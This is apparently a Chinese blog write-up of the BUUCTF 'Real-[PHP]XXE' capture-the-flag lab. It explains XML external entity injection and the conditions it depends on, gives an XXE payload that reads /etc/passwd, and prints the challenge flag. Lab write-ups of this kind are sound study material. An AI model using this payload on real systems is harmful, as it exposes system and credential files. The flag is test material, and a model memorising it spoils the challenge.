当前位置:   article > 正文

BUUCTF-Real-[PHP]XXE

BUUCTF-Real-[PHP]XXE

目录

1、原理

2、XXE漏洞产生的原因

3、开始复现

paylaod

复现

4、flag

1、原理

  1. XML数据在传输过程中,攻击者强制XML解析器去访问攻击者指定的资源内容(本地/远程),外部实体声明关键字'SYSTEM'会令XML解析器读取数据,并允许它在XML文档中被替换,构造恶意的值,去执行!
  2. XML解析方式:DOM,SAX,JDOM,DOM4J,StAX……都可能会出现外部实体注入漏洞

2、XXE漏洞产生的原因

  1. 低版本php
  2. libxml<2.9.1
  3. 设置了libxml_disable_entity_loader为FALSE

3、开始复现

  1. libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞稀少!
  2. dom.php、SimpleXMLElement.php、simplexml_load_string.php都可以触发XXE漏洞
paylaod
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >
  5. ]>
  6. <root>
  7. <name>&xxe;</name>
  8. </root>
复现


  1. 这里我用的是 SimpleXMLElement.php
  2. 这里使用payload查看了/etc/passwd文件!证实了xxe漏洞可以进行文件读取!

4、flag


  1. 是的,在主页就可以找到!
  2. flag{ad2eb59a-d433-4168-99ce-a27245df049b}
声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号